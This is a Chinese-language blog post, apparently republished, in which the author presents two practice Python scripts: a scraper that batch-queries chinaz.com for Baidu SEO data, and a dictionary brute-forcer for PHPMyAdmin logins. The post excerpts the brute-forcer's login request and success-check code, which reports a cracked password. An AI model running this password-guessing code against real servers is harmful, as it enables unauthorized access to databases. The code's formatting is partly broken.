1. 程式人生 > >Python爬蟲加爆破指令碼!會出現什麼樣的情況?砰,火花四濺!

Python爬蟲加爆破指令碼!會出現什麼樣的情況?砰,火花四濺!

Python爬蟲加爆破指令碼!會出現什麼樣的情況?砰,火花四濺!

 

Python學習記錄指令碼,想通過練習編寫指令碼一點點提升自己很菜的程式設計水平~~明天會更好,希望自己越來越強吧。

批量檢測域名SEO相關資訊

專案地址

GitHub - sqlsec/seo: Python實現批量查詢網站的百度權重以及收錄情況。

實現原理

Python3 實現批量查詢網站的百度權重以及收錄情況,利用的是站長之家的SEO查詢介面,所以本指令碼相當於是一個爬蟲,用來批量提取資料資訊。

Python爬蟲加爆破指令碼!會出現什麼樣的情況?砰,火花四濺!

 

進群:548377875   即可獲取數十套PDF以及大量的學習資料!

模組相關

argparse

argparse 輕鬆編寫使用者友好的命令列介面。定義並解析了需要的引數。當用戶給程式提供無效引數時,該模組還會自動生成幫助和使用訊息併發出錯誤。

效果演示

Python爬蟲加爆破指令碼!會出現什麼樣的情況?砰,火花四濺!

 

progressbar

一個方便友好的進度條顯示模組。

效果演示

Python爬蟲加爆破指令碼!會出現什麼樣的情況?砰,火花四濺!

 

prettytable

一個表格輸出美化模組,展示結果很友好。

效果演示

Python爬蟲加爆破指令碼!會出現什麼樣的情況?砰,火花四濺!

 

相關程式碼解析

request請求程式碼

f = open(args.read,"r")
 lines = ''.join(f.readlines()).split("
")
 tb = pt.PrettyTable(["域名","百度權重","百度收錄","站點標題","域名年齡"])
 p = progressbar.ProgressBar()
 for domain in p(lines):
 url = 'http://seo.chinaz.com/{domain}'.format(domain=domain)
 headers = {
 'Host': 'seo.chinaz.com',
 'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0',
 'Content-Type': 'application/x-www-form-urlencoded',
 }
 data = 'm=&host={domain}'.format(domain=domain)
 try:
 response = requests.post(url=url,headers=headers,data=data,timeout=10)
html = response.text

正則相關

# 百度權重正則
baidu_pattern = re.compile(r'baiduapp/(.*?).gif')
baidu = baidu_pattern.findall(html)[0]
# 收錄數量正則
count_pattern = re.compile(r'"Ma01LiRow w12-1 ">(.*?)</div>')
count = count_pattern.findall(html)[4]
# 站點標題正則
domain_name = re.compile(r'class="ball">(.*?)</div>')
name = domain_name.findall(html)[0]
# 域名年齡正則
domain_year = re.compile(r'wd={domain}" target="_blank">(.*?)</a>'.format(domain=domain))
year = domain_year.findall(html)[1]

PHPMyAdmin爆破

專案地址

GitHub - sqlsec/CreakPHPMyAdmin: Python實現掛載字典爆破PHPMyAdmin,雖然目前速度不是很快,但還是可以使用的。

實現原理

從字典檔案裡面讀取每行的密碼資訊帶入 requests 請求中實現密碼爆破的效果。 本指令碼測試 PHPMyAdmin 版本是 PHPStudy 自帶的版本。

模組相關

colorama

colorama 是一個 python 專門用來在控制檯、命令列輸出彩色文字的模組,可以跨平臺使用。

效果演示

Python爬蟲加爆破指令碼!會出現什麼樣的情況?砰,火花四濺!

 

optparse

一個已經被 argparse 替代的命令列引數編寫模組,建議搭建轉到 argparse ,這個模組不建議學習使用了,我當初因為不知道 argparse 的存在才用了這個模組的。

相關程式碼解析

request請求程式碼

def req(url,username,password):
 headers = {
 'Content-Type':'application/x-www-form-urlencoded',
 'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36',
 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
 }
 payload = {
 'pma_username':'{}'.format(username),
 'pma_password':'{}'.format(password),
 'server':'1',
 }
 res = requests.post(url,data=payload,headers=headers)
 return res

正則相關

正則匹配輸入密碼後的頁面返回結果來判斷是否爆破成功。

try:
 res = req(args.url,args.username,password)
 login_success = re.compile(r'opendb_url')
 success = login_success.search(res.text)
 if success:
 flag = True
 print(Fore.GREEN + "
[+] PHPMyAdmin is vulerable")
 print("Phpmyadin password is " + password)
 break 
except Exception as e:
 print(Fore.YELLOW + '執行異常{}'.format(e))